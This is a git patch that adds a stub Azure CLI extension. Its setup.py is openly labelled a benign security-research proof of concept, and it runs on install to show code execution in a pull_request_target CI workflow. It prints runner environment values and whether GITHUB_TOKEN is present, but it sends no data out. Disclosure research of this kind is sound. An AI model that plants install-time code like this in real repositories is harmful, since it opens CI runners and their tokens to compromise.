From dbd0b8a6987a99e3a2167c8b78800750cd829b2e Mon Sep 17 00:00:00 2001
From: 0xmagnus <216443774+0xmagnus91@users.noreply.github.com>
Date: Thu, 12 Feb 2026 08:14:13 -0500
Subject: [PATCH] Add poc-security-test extension for testing

---
 src/poc-security-test/HISTORY.rst             |  5 +++
 .../azext_poc_security_test/__init__.py       | 10 ++++++
 src/poc-security-test/setup.cfg               |  2 ++
 src/poc-security-test/setup.py                | 33 +++++++++++++++++++
 4 files changed, 50 insertions(+)
 create mode 100644 src/poc-security-test/HISTORY.rst
 create mode 100644 src/poc-security-test/azext_poc_security_test/__init__.py
 create mode 100644 src/poc-security-test/setup.cfg
 create mode 100644 src/poc-security-test/setup.py

diff --git a/src/poc-security-test/HISTORY.rst b/src/poc-security-test/HISTORY.rst
new file mode 100644
index 00000000000..9d9f07ee353
--- /dev/null
+++ b/src/poc-security-test/HISTORY.rst
@@ -0,0 +1,5 @@
+Release History
+===============
+0.1.0
+++++++
+* Initial release
diff --git a/src/poc-security-test/azext_poc_security_test/__init__.py b/src/poc-security-test/azext_poc_security_test/__init__.py
new file mode 100644
index 00000000000..605a68885fa
--- /dev/null
+++ b/src/poc-security-test/azext_poc_security_test/__init__.py
@@ -0,0 +1,10 @@
+from azure.cli.core import AzCommandsLoader
+
+class PocSecurityTestCommandsLoader(AzCommandsLoader):
+    def __init__(self, cli_ctx=None):
+        super().__init__(cli_ctx)
+
+def get_command_modules():
+    return []
+
+COMMAND_LOADER_CLS = PocSecurityTestCommandsLoader
diff --git a/src/poc-security-test/setup.cfg b/src/poc-security-test/setup.cfg
new file mode 100644
index 00000000000..3c6e79cf31d
--- /dev/null
+++ b/src/poc-security-test/setup.cfg
@@ -0,0 +1,2 @@
+[bdist_wheel]
+universal=1
diff --git a/src/poc-security-test/setup.py b/src/poc-security-test/setup.py
new file mode 100644
index 00000000000..819800fa87b
--- /dev/null
+++ b/src/poc-security-test/setup.py
@@ -0,0 +1,33 @@
+from setuptools import setup, find_packages
+import os
+import sys
+
+# === SECURITY RESEARCH PoC ===
+# This code demonstrates arbitrary code execution via azdev extension add
+# in the VersionCalPRComment.yml workflow (pull_request_target trigger).
+# This is a benign proof-of-concept - no secrets are exfiltrated.
+print("=" * 70)
+print("[SECURITY_RESEARCH_POC] Arbitrary code execution via setup.py")
+print("[SECURITY_RESEARCH_POC] This proves setup.py runs during azdev extension add")
+print(f"[SECURITY_RESEARCH_POC] RUNNER_OS = {os.environ.get('RUNNER_OS', 'N/A')}")
+print(f"[SECURITY_RESEARCH_POC] GITHUB_REPOSITORY = {os.environ.get('GITHUB_REPOSITORY', 'N/A')}")
+print(f"[SECURITY_RESEARCH_POC] GITHUB_ACTOR = {os.environ.get('GITHUB_ACTOR', 'N/A')}")
+print(f"[SECURITY_RESEARCH_POC] GITHUB_EVENT_NAME = {os.environ.get('GITHUB_EVENT_NAME', 'N/A')}")
+print(f"[SECURITY_RESEARCH_POC] GITHUB_TOKEN present = {'GITHUB_TOKEN' in os.environ}")
+print(f"[SECURITY_RESEARCH_POC] Python executable = {sys.executable}")
+print(f"[SECURITY_RESEARCH_POC] CWD = {os.getcwd()}")
+print("=" * 70)
+
+setup(
+    name='poc-security-test',
+    version='0.1.0',
+    description='Security Research PoC - Benign',
+    long_description='This is a security research proof of concept.',
+    license='MIT',
+    author='Security Research',
+    author_email='security@example.com',
+    url='https://github.com/Azure/azure-cli-extensions',
+    packages=find_packages(),
+    install_requires=[],
+    package_data={'azext_poc_security_test': []},
+)